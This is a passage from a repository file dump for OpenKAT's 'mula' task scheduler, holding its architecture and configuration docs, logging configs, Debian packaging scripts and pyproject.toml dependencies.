Full text search, performs postgresql full text searching using queries (requires `tsvector` columns) |\n"
  },
  {
    "path": "mula/docs/architecture.md",
    "content": "# Scheduler Architecture\n\n## Purpose\n\nThe _scheduler_ is tasked with populating and maintaining a priority queues of\ntasks, and can be popped off through HTTP API calls. The scheduler is\ndesigned to be extensible, such that you're able to create your own rules for\nthe population, scheduling, and prioritization of tasks.\n\nIn the implementation of the scheduler within OpenKAT the scheduler is tasked\nwith scheduling and populating the priority queues of `boefje`, `normalizer` and\n`report` tasks.\n\nIn this document we will outline how the scheduler operates within KAT, how\ninternal systems function and how external services use it.\n\n## Architecture / Design\n\nIn order to get a better overview of how the scheduler is implemented we will\nbe using the [C4 model](https://c4model.com/) to give an overview of the\nscheduler system with their respective level of abstraction.\n\n### C2 Container level\n\nFirst we'll review how the `Scheduler` system interacts and sits in between its\nexternal services. In this overview arrows from external services indicate how\nand why those services communicate with the scheduler. The `Scheduler` system\ncombines data from the `Octopoes`, `Katalogus`, `Bytes` and `RabbitMQ` systems.\n\nExternal services used and for what purpose:\n\n- RabbitMQ; messaging queues to notify the scheduler of scan level changes\n  and the creation of raw files from bytes\n\n- Rocky; interfaces with the scheduler through its rest api\n\n- Octopoes; retrieval of ooi information\n\n- Katalogus; retrieval of plugin and organization information\n\n- Bytes; retrieval of raw file information\n\n```mermaid\nflowchart TB\n    subgraph \"External informational services\"\n        Octopoes[\"Octopoes<br/>[system]\"]\n        Katalogus[\"Katalogus<br/>[system]\"]\n        Bytes[\"Bytes<br/>[system]\"]\n    end\n    subgraph \"Task creation services\"\n        Rocky[\"Rocky<br/>[webapp]\"]\n        RabbitMQ[\"RabbitMQ<br/>[message broker]\"]\n    end\n\n    Scheduler[\"Scheduler<br/>[system]\"]\n\n    subgraph \"Task handling services\"\n        TaskRunner[\"Task Runner<br/>[software system]\"]\n    end\n\n    Rocky-->Scheduler\n    RabbitMQ-->Scheduler\n\n    Octopoes-->Scheduler\n    Katalogus-->Scheduler\n    Bytes-->Scheduler\n\n\n    Scheduler--\"Pop task of queue\"-->TaskRunner\n```\n\n### C3 Component level\n\nWhen we take a closer look at the `scheduler` system itself we can identify\nseveral components. The `App` directs the creation and maintenance\nof several schedulers. And the `API` that is responsible for interfacing with\nthe `Scheduler` system.\n\n```mermaid\nflowchart TB\n    subgraph \"**Scheduler**<br/>[system]\"\n        direction TB\n        subgraph Server[\"**API**<br/>[component]<br/>REST API\"]\n        end\n        subgraph App[\"**App**<br/>[component]<br/>Main python application\"]\n        end\n        Server-->App\n    end\n```\n\nTypically in a OpenKAT installation 3 scheduler will be created\n\n1. _boefje scheduler_\n2. _normalizer scheduler_\n3. _report scheduler_\n\nEach scheduler type implements it's own priority queue, and can implement it's\nown processes of populating, and prioritization of its tasks. Interaction with\nthe scheduler and access to the internals of the `App` can be achieved by\ninterfacing with the `Server`. Which implements a HTTP REST API interface.\n\n## Dataflows\n\nWithin a KAT implementation of the scheduler we can identify several dataflows\nof how tasks are created and pushed onto the priority queue. In the following\nsection we review how different dataflows, from the `boefjes`, the\n`normalizers`, `report` schedulers are implemented within the `Scheduler`\nsystem.\n\nFirst let's explore the base classes from which the individual schedulers are\nderived.\n\n### `Scheduler`\n\n#### `PriorityQueue`\n\nEvery implementation of a `Scheduler` contains a `PriorityQueue` that is\nresponsible for maintaining a queue of tasks for `Task Runners` to pick up and\nprocess. A `Scheduler` is responsible for creating `Task` objects and pushing\nthem onto the queue.\n\n```mermaid\nflowchart LR\n    subgraph \"**Scheduler**<br/>[system]\"\n        direction LR\n        subgraph Scheduler[\"**Scheduler**<br/>[component]<br/>\"]\n            direction LR\n            Process[\"Task creation process\"]\n            subgraph PriorityQueue[\"PriorityQueue\"]\n                Task0\n                Task1[...]\n                TaskN\n            end\n        end\n        Process-->PriorityQueue\n    end\n```\n\nThe `PriorityQueue` derives its state from the state of the `Task` objects that\nare persisted in the database. In other words, the current state of the\n`PriorityQueue` are the `Task` objects with the status of `QUEUED`.\n\n#### `Task`\n\nA `Task` object contains the following fields:\n\n| Field          | Description                                                   |\n| -------------- | ------------------------------------------------------------- |\n| `scheduler_id` | The id of the scheduler for which this task is created        |\n| `schedule_id`  | Optional, the id of the `Schedule` that created the task      |\n| `priority`     | The priority of the task                                      |\n| `organisation` | The organisation for which the task is created                |\n| `status`       | The status of the task                                        |\n| `type`         | The type of the task                                          |\n| `data`         | A JSON object containing the task data                        |\n| `hash`         | A unique hash generated by specific fields from the task data |\n\nImportant to note is the `data` field contains the object that a `Task Runner`\nwill use to execute the task. This field is a JSON field that allows any object\nto be persisted. It's schema is enforced by which scheduler its task is pushed\non. For a `BoefjeScheduler` only `BoefjeTask` objects are allowed to be\npushed. This is the same for the other schedulers.\n\nBy doing this, it allows the scheduler to wrap whatever object within a `Task`,\nand as a result we're able to create and extend more types of schedulers that\nare not specifically bound to a type.\n\nA json representation of a `Task` object, for example a `BoefjeTask` object\nas the `data` field:\n\n```json\n{\n  \"scheduler_id\": \"1\",\n  \"schedule_id\": \"1\",\n  \"priority\": 1,\n  \"organisation\": \"openkat-corp\",\n  \"status\": \"PENDING\",\n  \"type\": \"boefje\",\n  \"data\": {\n    \"ooi\": \"internet\",\n    \"boefje\": {\n      \"id\": \"dns-zone\",\n      \"scan_level\": 1\n    }\n  },\n  \"hash\": \"a1b2c3d4e5f6g7h8i9j0\"\n}\n```\n\nA `Task` is a one-time execution of a task and is a unique instance of task that\nis present in the `data` object. This means that you will encounter several\ninstances of the same task. We generate a unique hash for each task by hashing\nspecific fields from the `data` object. This hash is used to identify the task\nwithin the `PriorityQueue` and is used to check if the same task is already on\nthe queue.\n\nThis approach ensures that the historical record of each task's execution is\ndistinct, providing a clear and isolated view of each instance of the task's\nlifecycle. This strategy enables maintaining accurate and unambiguous\nmonitoring and logging of task executions over time. Additionally it enables us\nan overview and insights of what tasks have been created in the past and what\ntasks are currently running. You might know this overview from Rocky as the\ntask list.\n\nTo keep track of the status of this task throughout the system we update its\n`status`\n\n- When a `Task` has been created by the scheduler it will get the status of\n  `PENDING` (1) meaning a task has been created but it hasn't been queued yet.\n\n- When the `Task` is pushed onto the queue it will get the status of `QUEUED` (2).\n\n- When the `Task Runner` picks up the task by popping the `Task`\n  from the queue the status will be updated to `DISPATCHED` (3).\n\n- The `Task Runner` is now able to start executing the `Task` and the status\n  will be updated to `RUNNING` (4) by the `Task Runner`.\n\n- Whenever the task has been completed, the 'Task Runner' will update the\n  status by either setting the status to `COMPLETED`, `FAILED` or `CANCELLED`.\n  (5)\n\n#### `Schedule`\n\nWhen a `Task` is created for a `Scheduler` it can be defined whether or not\nthat `Scheduler` can create `Schedule` objects for its `Task` objects. A\n`Schedule` object is a way to define when a `Task` should be executed\nautomatically on a recurring schedule by the `Scheduler`.\n\nA `Schedule` will use the _'blueprint'_ that is defined in its `data` field (this\nis the same as the `data` field of a `Task`) to generate a `Task` object to be\npushed on the queue of a `Scheduler`.\n\nA `Schedule` object contains the following fields:\n\n| Field          | Description                                                                                                        |\n| -------------- | ------------------------------------------------------------------------------------------------------------------ |\n| `scheduler_id` | The id of the scheduler that created the schedule                                                                  |\n| `schedule`     | A cron expression that defines when the task should be executed, this is used to update the value of `deadline_at` |\n| `deadline_at`  | A timestamp that defines when the task should be executed                                                          |\n| `data`         | A JSON object containing data for the schedule (this is the same as the `data` field in the `Task` object)         |\n| `hash`         | A unique hash generated by specific fields from the schedule data                                                  |\n\nA `Scheduler` can be extended by a process that checks if the `deadline_at`\nof a `Schedule` has passed, and if so, creates a `Task` object for the\n`Scheduler` to push onto the queue.\n\nTypically when the `Task` object is pushed onto the queue, the new\n`deadline_at` value of the `Schedule` is calculated using the cron expression\ndefined in the `schedule` field. Refer to the specific `Scheduler` for more\ninformation on how this is implemented.\n\n### `BoefjeScheduler`\n\n#### Design\n\nA `BoefjeScheduler` is tasked with creating tasks that are able to be picked\nup and processed by the \"Boefje Runner\". The `BoefjeScheduler` creates a\n`BoefjeTask` to the specification that the \"Boefje Runner\" can interpret.\n\nThe scheduler wraps this `BoefjeTask` within a `Task`, this is done such that we\ncan push the task on the queue and add extra information to this `Task`, like\nits priority, its status, and its type. We uniquely identify a task that is\ncontained within the `Task` by its hash.\n\nFor example with a `BoefjeTask` we unique identify a task by hashing the values\nof: the ooi, the boefje id, and the organization id. So for a `Task` we know\nwhat specific `BoefjeTask` it contains by this hash.\n\nBefore a `BoefjeTask` and pushed on the queue we will check the following:\n\n- `has_boefje_permission_to_run()`\n\n  - is boefje enabled\n  - are scan levels between boefje and ooi correct\n\n- `has_boefje_task_grace_period_passed()`\n\n  - has the grace period passed according to the datastore (`TaskStore`)?\n  - has the grace period passed according to Bytes?\n\n- `has_boefje_task_stalled()`\n\n  - is the task status still `DISPATCHED` for longer than the grace-period?\n\n- `has_boefje_task_started_running()`\n\n  - is task still running according to the datastore (`TaskStore`)?\n  - is task still running according to Bytes?\n\n- `is_item_on_queue_by_hash()`\n\n  - check if the same task is already on the priority queue using the `hash`\n\n#### Processes\n\n```mermaid\nflowchart LR\n    subgraph \"**Scheduler**<br/>[system]\"\n        direction LR\n        subgraph BoefjeScheduler[\"**BoefjeScheduler**<br/>[component]<br/>\"]\n            direction LR\n            ProcessManual[\"Manual\"]\n            ProcessMutations[\"Mutations\"]\n            ProcessNewBoefjes[\"NewBoefjes\"]\n            ProcessRescheduling[\"Rescheduling\"]\n            subgraph PriorityQueue[\"PriorityQueue\"]\n                Task0\n                Task1[...]\n                TaskN\n            end\n            ProcessManual-->PriorityQueue\n            ProcessMutations-->PriorityQueue\n            ProcessNewBoefjes-->PriorityQueue\n            ProcessRescheduling-->PriorityQueue\n        end\n    end\n```\n\nIn order to create a `BoefjeTask` and trigger the dataflow we described above\nwe have 3 different processes running in threads within a `BoefjeScheduler`\nthat can create boefje tasks. Namely:\n\n| Process                 | Description                                                                                        |\n| ----------------------- | -------------------------------------------------------------------------------------------------- |\n| `process_mutations`     | scan profile mutations received from RabbitMQ indicating that the scan level of an OOI has changed |\n| `process_new_boefjes`   | enabling of boefjes will result in gathering of OOI's on which the boefje can be used              |\n| `process_rescheduling ` | rescheduling of prior tasks                                                                        |\n\nAdditionally, a boefje task creation can be triggered by a manual scan job that\nis created by the user in Rocky.\n\n##### 1. Scan profile mutations\n\nWhen a scan level is increased on an OOI\n(`schedulers.boefje.process_mutations`) a message is pushed\non the RabbitMQ `{organization_id}__scan_profile_mutations` queue. The scheduler\ncontinuously checks if new messages are posted on the queue. The resulting tasks\nfrom this process will get the second highest priority of 2 on the queue.\n\nThe dataflow is as follows:\n\n- When scan level mutation occurred, the `Scheduler` system will get the scan\n  profile mutation from the `RabbitMQ` system.\n\n- For the associated OOI of this scan profile mutation, the `Scheduler` system\n  will get the enabled boefjes for this OOI. (`ooi * boefjes = tasks`)\n\n- For each enabled boefje, a `BoefjeTask` will be created and added to the\n  `PriorityQueue` of the `BoefjeScheduler`. A `BoefjeTask` is an object with\n  the correct specification for the task runner to execute a boefje.\n\n- The `BoefjeScheduler` will then create a `Task` and push it to the\n  queue. The `PrioritizedItem` will contain the created `BoefjeTask`.\n\n- A `Schedule` is created, or updated for the `Task` (`post_push()`).\n\n##### 2. Enabling of boefjes\n\nWhen a plugin of type `boefje` is enabled or disabled in Rocky. The dataflow is\ntriggered when the plugin cache of an organisation is flushed.\n\nThe dataflow is as follows:\n\n- The plugin cache of the organisation will be flushed at a specified interval.\n\n- Due to the flushing of the cache we get a new list of enabled boefjes for\n  an organisation.\n  (`connectors.services.katalogus._flush_organisations_boefje_type_cache()`)\n\n- New `BoefjeTask` tasks will be created for enabled boefjes and on which type\n  of ooi it can be used.\n\n- The `BoefjeScheduler` will then create a `Task` and push it to the queue. The\n  `Task` will contain the created `BoefjeTask`.\n\n- A `Schedule` is created, or updated for the `Task` (`post_push()`).\n\n##### 3. Rescheduling of prior tasks\n\nIn order to re-run tasks that have been executed in the past we reference\n`Schedule` objects whose `deadline_at` has passed. The `BoefjeScheduler` will\ncreate a `BoefjeTask` for the `Task` that is associated with the `Schedule`.\n\nThe dataflow is as follows:\n\n- From the database we get the `Schedule` objects whose `deadline_at` has passed.\n\n- For each `Schedule` we create a new `Task` containing a `BoefjeTask`\n\n- The `BoefjeScheduler` will push it to the queue.\n\n- The `Schedule` is updated for the `Task` (`post_push()`).\n\n##### 4. Manual scan job\n\nScan jobs created by the user in Rocky (`server.push_queue`), will\nget the highest priority of 1. Note, that this will circumvent all the checks\nthat are present in the `BoefjeScheduler`.\n\nThe dataflow is as follows:\n\n- Rocky will create a `BoefjeTask` that will be pushed directly to the\n  specified queue.\n\n- The `BoefjeScheduler` will then create a `Task` and push it to the\n  queue. The `Task` will contain the created `BoefjeTask`.\n\n- A `Schedule` is created, or updated for the `Task` (`post_push()`).\n\n### `NormalizerScheduler`\n\n#### Design\n\nThe `NormalizerScheduler` is tasked with creating tasks that are able to be\npicked up and processed by a normalizer task runner. The scheduler creates a\n`NormalizerTask` to the specification that the task runner can interpret,\nnamely the instance of a `NormalizerTask`.\n\nBefore `NormalizerTask` is wrapped by a `Task`, and pushed to the\nqueue we will check the following:\n\n- `has_normalizer_permission_to_run()`\n\n  - is the normalizer enabled\n\n- `has_normalizer_task_started_running()`\n\n  - is task still running according to the datastore (`TaskStore`)?\n\n- `is_item_on_queue_by_hash()`\n\n  - check if the same task is already on the priority queue using the `hash`\n\n#### Processes\n\n```mermaid\nflowchart LR\n    subgraph \"**Scheduler**<br/>[system]\"\n        direction LR\n        subgraph NormalizerScheduler[\"**NormalizerScheduler**<br/>[component]<br/>\"]\n            direction LR\n            ProcessRawData[\"RawData\"]\n            subgraph PriorityQueue[\"PriorityQueue\"]\n                Task0\n                Task1[...]\n                TaskN\n            end\n            ProcessRawData-->PriorityQueue\n        end\n    end\n```\n\nThe following processes within a `NormalizerScheduler` will create a\n`NormalizerTask` tasks:\n\n1. A raw file is created in Bytes\n\n##### 1. Raw file creation in Bytes\n\nWhen a raw file is created (`schedulers.normalizer.process_raw_data`)\n\n- The `NormalizerScheduler` retrieves raw files that have been created in Bytes\n  from a message queue.\n\n- For every mime type of the raw file, the `NormalizerScheduler` will retrieve\n  the enabled normalizers for this mime type.\n\n- For every enabled normalizer, a `NormalizerTask` will be created and added to\n  the `PriorityQueue` of the `NormalizerScheduler`.\n\n### `ReportScheduler`\n\n#### Design\n\nThe `ReportScheduler` is tasked with creating report tasks that are able to be\npicked up and processed by the report task runner.\n\n#### Processes\n\n```mermaid\nflowchart LR\n    subgraph \"**Scheduler**<br/>[system]\"\n        direction LR\n        subgraph ReportScheduler[\"**ReportScheduler**<br/>[component]<br/>\"]\n            direction LR\n            ProcessRescheduling[\"Rescheduling\"]\n            subgraph PriorityQueue[\"PriorityQueue\"]\n                Task0\n                Task1[...]\n                TaskN\n            end\n            ProcessRescheduling-->PriorityQueue\n        end\n    end\n```\n\nThe `ReportScheduler` will create a `ReportTask` for the `Task` that is\nassociated with a `Schedule` object.\n\n1. Manual creation of `Schedule` for `ReportTask`\n2. Rescheduling of `ReportTask` based on `Schedule` objects\n\n##### 1. Manual creation of `Schedule` for `ReportTask`\n\nA user can create a \"Report Recipe\" within Rocky, and define a recurrence\nschedule of this report to be executed. A `Schedule` is created for this\n\"Report Recipe\" and posted to the `Scheduler` API. The `ReportScheduler` will\ncontinuously check for `Schedule` object whose `deadline_at` has passed.\n\n##### 2. Rescheduling of `ReportTask` based on `Schedule` objects\n\nThe `ReportScheduler` will create a `ReportTask` for the `Task` that is\nassociated with a `Schedule` object. The `ReportScheduler` will continuously\ncheck for `Schedule` objects whose `deadline_at` has passed and will push the\n`ReportTask` tasks to the queue.\n\n## Project structure\n\n```\n.\n├── docs/                           # additional documentation\n├── scheduler/                      # scheduler python module\n│   ├── clients/                    # external service clients\n│   │   ├── amqp/                   # amqp clients\n│   │   ├── http/                   # http api clients\n│   │   ├── __init__.py\n│   │   ├── connector.py\n│   │   └── errors.py\n│   ├── config/                     # application settings configuration\n│   ├── context/                    # shared application context\n│   ├── models/                     # internal model definitions\n│   ├── schedulers/                 # schedulers\n│   │   ├── queue/                  # priority queue implementation\n│   │   ├── rankers/                # rankers for tasks\n│   │   ├── schedulers/\n│   │   │   ├── __init__.py\n│   │   │   ├── boefje.py           # boefje scheduler implementation\n│   │   │   ├── normalizer.py       # normalizer scheduler implementation\n│   │   │   └── report.py           # report scheduler implementation\n│   │   ├── __init__.py\n│   │   └── scheduler.py            # abstract base class for schedulers\n│   ├── storage/                    # data abstraction layer\n│   ├── server/                     # http rest api server\n│   ├── utils/                      # common utility functions\n│   ├── __init__.py\n│   ├── __main__.py\n│   ├── app.py                      # openkat scheduler app implementation\n│   └── version.py                  # version information\n└─── tests/                         # test suite\n```\n\nThe following describes the main components of the scheduler application:\n\n- `App` - The main application class, which is responsible for starting the\n  schedulers. It also contains the server, which is responsible for handling\n  the rest api requests. The `App` implements multiple `Scheduler` instances.\n  The `run()` method starts the schedulers, the listeners, the monitors, and\n  the server in threads. The `run()` method is the main thread of the\n  application.\n\n- `Scheduler` - And implementation of a `Scheduler` class is responsible for\n  populating the queue with tasks. Contains a `PriorityQueue`. The `run()`\n  method starts executes threads and listeners, which fill up the queue with\n  tasks.\n\n- `PriorityQueue` - The queue class, which is responsible for storing the\n  tasks.\n\n- `Server` - The server class, which is responsible for handling the HTTP\n  requests.\n"
  },
  {
    "path": "mula/docs/configuration.md",
    "content": "# Configuration\n\nThe scheduler allows some configuration options to be set. Environment\nvariables are used to configure the scheduler. And these can be set in the\n`.env-dist` file. When a value isn't set the default value from the scheduler\nwill be used. Check the [`settings.py`](../scheduler/config/settings.py) file\nfor the default values and what value you can set.\n\n## Setting scheduler configuration values\n\nTo set the configuration values, you can set the environment variables by\nchecking the `settings.py` and prepending `SCHEDULER_` to the variable\nnames. For example, if you want to set the `SCHEDULER_DEBUG` to `True`, you\ncan add the following line to your `.env` file:\n\n```env\nSCHEDULER_DEBUG=True\n```\n"
  },
  {
    "path": "mula/docs/extending.md",
    "content": "# Extending the scheduler functionality\n\nWithin the scheduler project you'll be able to extend the functionality with\nyour own procedures. The most likely customization you'll make will be\nthe directives of populating the queue, dispatching and ranking tasks.\n\nExamples on how to extend the classes can be found in their respective folders.\nThe files are named `boefje.py`, and `normalizer.py` that are a specific KAT\nimplementations.\n\nHelpful resources are: the directory structure from the `README.md` file and\nthe C4 Code level (Condensed class diagram) from the\n[architecture](https://github.com/minvws/nl-kat-coordination/tree/main/mula/docs/architecture.md)\nfile.\n\n## Populating the queue\n\nWe can subclass the `schedulers.Scheduler` class and implement our own `run()`\nmethod. Because we have the `context.AppContext` as an attribute, we're able to\naccess shared data. In this case we can reference external services, such as\n`Octopoes`, `Katalogus`, `Bytes`, etc. This can help us make fine-grained\ndecisions on what tasks you want to push on to the queue.\n\nTake a look in the [`schedulers/`](schedulers/) folder for an example, how\nthis is implemented, and reference either the `boefje.py` or `normalizer.py`\nfile for the current implementation.\n\nOne example implementation could be that tasks are scheduled for at specific\ntime, or need to be put onto the queue at a specific time.\n\nWhen you've defined your own schedulers, be sure to initialize and start them\nfrom the `app.py` file.\n\n## Ranking tasks\n\nAgain, we can subclass the `rankers.Ranker` class and implement our own ranker.\nIn this case we can implement the `rank` method. This expects the `obj`\nargument of type `Any`. As you can inspect from the default implementations\nin the [`rankers/`](rankers/) folder in either the `boefje.py` or `normalizer.py`\nfile, the `obj` can be any object that can help you determine what rank or\npriority the task should have on the priority queue.\n\nAdditionally, you'll have access to the `context.AppContext` object, which\nallows you to reference additional information in order to make your own\nranking algorithm.\n"
  },
  {
    "path": "mula/docs/metrics.md",
    "content": "# Metrics\n\nThe scheduler implements OpenTelemetry to expose metrics for monitoring and\nobservability purposes. Next to supporting tracing, it also exposes several\nmetrics from its `/metrics` endpoint. These metrics can be used to monitor the\nperformance and health of the scheduler. These metrics can be collected and\nvisualized by using a monitoring system like Prometheus.\n\nTo enable metrics collection, add `SCHEDULER_COLLECT_METRICS=true` to\nyour `.env` file.\n\nThe following is a detailed explanation of the scheduler metrics:\n\n| Metric                       | Description                                                               |\n| ---------------------------- | ------------------------------------------------------------------------- |\n| scheduler_qsize              | The number of items that are queued on a scheduler queue per organization |\n| scheduler_task_status_counts | The number of tasks per status, per organization                          |\n\nRefer to the [architecture.md](./architecture.md) document what the different\nstatuses means, in relation to a task that is scheduled and flows through\nthe system.\n"
  },
  {
    "path": "mula/entrypoint.sh",
    "content": "#!/bin/bash\nset -e\n\n# Make env variable comparison case insensitive\nshopt -s nocasematch\n\nif [ \"$DATABASE_MIGRATION\" = \"1\" ] || [[ $DATABASE_MIGRATION == \"true\" ]]; then\n    python -m alembic --config /app/scheduler/scheduler/storage/migrations/alembic.ini upgrade head\nfi\n\nexec \"$@\"\n"
  },
  {
    "path": "mula/logging.json",
    "content": "{\n  \"version\": 1,\n  \"disable_existing_loggers\": false,\n  \"formatters\": {\n    \"default\": {\n      \"format\": \"%(message)s\"\n    }\n  },\n  \"handlers\": {\n    \"console\": {\n      \"class\": \"logging.StreamHandler\",\n      \"level\": \"INFO\",\n      \"formatter\": \"default\",\n      \"stream\": \"ext://sys.stdout\"\n    }\n  },\n  \"root\": {\n    \"level\": \"INFO\",\n    \"handlers\": [\"console\"]\n  },\n  \"loggers\": {\n    \"alembic.runtime.migration\": {\n      \"level\": \"CRITICAL\",\n      \"handlers\": [\"console\"],\n      \"propagate\": 0\n    },\n    \"urllib3.connectionpool\": {\n      \"level\": \"CRITICAL\",\n      \"handlers\": [\"console\"],\n      \"propagate\": 0\n    },\n    \"uvicorn.error\": {\n      \"level\": \"CRITICAL\",\n      \"handlers\": [\"console\"],\n      \"propagate\": 0\n    },\n    \"uvicorn.access\": {\n      \"level\": \"CRITICAL\",\n      \"handlers\": [\"console\"],\n      \"propagate\": 0\n    },\n    \"pika\": {\n      \"level\": \"CRITICAL\",\n      \"handlers\": [\"console\"],\n      \"propagate\": 0\n    },\n    \"sqlalchemy.engine\": {\n      \"level\": \"CRITICAL\",\n      \"handlers\": [\"console\"],\n      \"propagate\": 0\n    },\n    \"httpx\": {\n      \"level\": \"CRITICAL\",\n      \"handlers\": [\"console\"],\n      \"propagate\": 0\n    },\n    \"httpcore\": {\n      \"level\": \"CRITICAL\",\n      \"handlers\": [\"console\"],\n      \"propagate\": 0\n    }\n  }\n}\n"
  },
  {
    "path": "mula/logging.prod.json",
    "content": "{\n  \"version\": 1,\n  \"disable_existing_loggers\": false,\n  \"formatters\": {\n    \"default\": {\n      \"format\": \"%(asctime)s [%(process)d] [%(levelname)s] [%(module)s] [%(name)s] %(message)s\",\n      \"datefmt\": \"[%Y-%m-%d %H:%M:%S %z]\"\n    }\n  },\n  \"handlers\": {\n    \"console\": {\n      \"class\": \"logging.StreamHandler\",\n      \"level\": \"INFO\",\n      \"formatter\": \"default\",\n      \"stream\": \"ext://sys.stdout\"\n    },\n    \"syslog\": {\n      \"class\": \"logging.handlers.SysLogHandler\",\n      \"formatter\": \"default\",\n      \"address\": \"/dev/log\",\n      \"facility\": \"local0\"\n    }\n  },\n  \"root\": {\n    \"level\": \"INFO\",\n    \"handlers\": [\n      \"console\",\n      \"syslog\"\n    ]\n  },\n  \"loggers\": {\n    \"uvicorn.error\": {\n      \"level\": \"WARNING\",\n      \"handlers\": [\n        \"console\"\n      ],\n      \"propagate\": 0\n    },\n    \"pika\": {\n      \"level\": \"WARNING\",\n      \"handlers\": [\n        \"console\"\n      ],\n      \"propagate\": 0\n    }\n  }\n}\n"
  },
  {
    "path": "mula/packaging/deb/Makefile",
    "content": "#!/usr/bin/make -f\nprefix=/usr\n\nall:\n\ninstall:\n\tcd data && find . -type f -exec install -D \"{}\" \"$(DESTDIR)/{}\" \\;\n\nclean:\n\ndistclean: clean\n\nuninstall:\n\t-rm -rf $(DESTDIR)/usr/share/kat-octopoes\n\n.PHONY: all install clean distclean uninstall\n"
  },
  {
    "path": "mula/packaging/deb/data/etc/kat/mula.conf",
    "content": "# Host address, default: localhost\n# SCHEDULER_API_HOST=localhost\n\n# Host api server port, default: 8000\n# SCHEDULER_API_PORT=8004\n\n# File path to the log configuration file, default is \"../../../logging.json\"\n# SCHEDULER_LOG_CFG=/etc/kat/mula.logging.json\n\n# RabbitMQ host address\nQUEUE_URI=\n\n# Host url's of external service connectors\n# KATALOGUS_API=http://localhost:8003\n# BYTES_API=http://localhost:8002\n# OCTOPOES_API=http://localhost:8001\n\n# Bytes specific api credentials\nBYTES_USERNAME=bytes\nBYTES_PASSWORD=\n\n# Database settings\nSCHEDULER_DB_URI=\n"
  },
  {
    "path": "mula/packaging/deb/data/etc/kat/mula.logging.json",
    "content": "{\n  \"version\": 1,\n  \"disable_existing_loggers\": false,\n  \"formatters\": {\n    \"default\": {\n      \"format\": \"%(asctime)s [%(process)d] [%(levelname)s] [%(module)s] [%(name)s] %(message)s\",\n      \"datefmt\": \"[%Y-%m-%d %H:%M:%S %z]\"\n    }\n  },\n  \"handlers\": {\n    \"console\": {\n      \"class\": \"logging.StreamHandler\",\n      \"level\": \"INFO\",\n      \"formatter\": \"default\",\n      \"stream\": \"ext://sys.stdout\"\n    }\n  },\n  \"root\": {\n    \"level\": \"INFO\",\n    \"handlers\": [\n      \"console\"\n    ]\n  },\n  \"loggers\": {\n    \"uvicorn.error\": {\n      \"level\": \"WARNING\",\n      \"handlers\": [\n        \"console\"\n      ],\n      \"propagate\": 0\n    },\n    \"pika\": {\n      \"level\": \"INFO\",\n      \"handlers\": [\n        \"console\"\n      ],\n      \"propagate\": 0\n    }\n  }\n}\n"
  },
  {
    "path": "mula/packaging/deb/data/usr/bin/update-mula-db",
    "content": "#!/bin/bash\n\nset -ae\nsource /usr/lib/kat/mula.defaults\nsource /etc/kat/mula.conf\ncd /opt/venvs/kat-mula/lib/python*/site-packages\n/opt/venvs/kat-mula/bin/python -m alembic --config scheduler/storage/migrations/alembic.ini upgrade head\n"
  },
  {
    "path": "mula/packaging/scripts/build-debian-package.sh",
    "content": "#!/bin/bash\n\nset -e\n\n# TODO: generate proper changelog\necho \"Create changelog file\"\ncat > debian/changelog << EOF\n${PKG_NAME} (${RELEASE_VERSION}) unstable; urgency=low\n  * view changes: https://github.com/${REPOSITORY}/releases/tag/${RELEASE_TAG}\n\n -- OpenKAT <maintainer@openkat.nl>  $(LANG=C date -R)\n\nEOF\n\ndpkg-buildpackage -us -uc -b\n\nmv /\"${PKG_NAME}\"_\"${RELEASE_VERSION}\"_*.deb /app/build/\n"
  },
  {
    "path": "mula/pyproject.toml",
    "content": "[project]\nname = \"mula\"\nversion = \"0.0.1.dev1\"\ndescription = \"KAT's intelligent job scheduler\"\nauthors = [{ name = \"MinVWS\", email = \"maintainer@openkat.nl\" }]\nrequires-python = \">=3.10\"\nlicense = \"EUPL-1.2\"\ndependencies = [\n    \"alembic>=1.12.1,<2\",\n    \"croniter>=6.0.0,<7\",\n    \"mmh3>=5.1.0,<6\",\n    \"pika>=1.3.2,<2\",\n    \"prometheus-client>=0.19.0,<0.20\",\n    \"psycopg2-binary>=2.9.10\",\n    \"pydantic>=2.11.3,<3\",\n    \"pydantic-settings>=2.8.1,<3\",\n    \"python-dotenv>=1.0.0,<2\",\n    \"retry2>=0.9.5,<0.10\",\n    \"sqlalchemy>=2.0.23,<3\",\n    \"structlog>=25.2.0,<26\",\n    \"uvicorn>=0.29.0,<0.30\",\n    \"httpx>=0.28.1,<0.29\",\n    \"fastapi-slim>=0.115.12\",\n    \"opentelemetry-sdk\",\n    \"opentelemetry-api\",\n    \"opentelemetry-proto\",\n    \"opentelemetry-exporter-otlp-proto-grpc\",\n    \"opentelemetry-exporter-otlp-proto-common\",\n    \"opentelemetry-util-http\",\n    \"opentelemetry-instrumentation\",\n    \"opentelemetry-instrumentation-httpx\",\n    \"opentelemetry-instrumentation-asgi\",\n    \"opentelemetry-instrumentation-dbapi\",\n    \"opentelemetry-instrumentation-fastapi\",\n    \"opentelemetry-instrumentation-psycopg2\",\n    \"opentelemetry-semantic-conventions\",\n    \"pygments>=2.20.0\",\n    \"wrapt>=2.1.2\",\n    \"mako>=1.3.11\",\n]\n\n[dependency-groups]\ndev = [\n    \"factory_boy>=3.2.1,<4\",\n    \"click>=8.0.4,<9\",\n    \"psutil>=7\",\n    \"pytest>=9.0.3,<10\",\n    \"pytest-cov>=7\",\n]\n\n[tool.uv]\npackage = false\n\n[tool.coverage.run]\nrelative_files = true\n\nomit = [\n    \"scheduler/alembic/*\",\n    \"scheduler/config/*\",\n    \"scheduler/context/*\",\n    \"scheduler/models/*\",\n    \"scheduler/utils/*\",\n    \"scheduler/__main__.py\",\n]\n\n[tool.pytest.ini_options]\naddopts = \"--cov scheduler/ --cov-config=pyproject.toml --cov-report xml --cov-branch --cov-report=term-missing:skip-covered\"\n"
  },
  {
    "path": "mula/requirements-dev.txt",
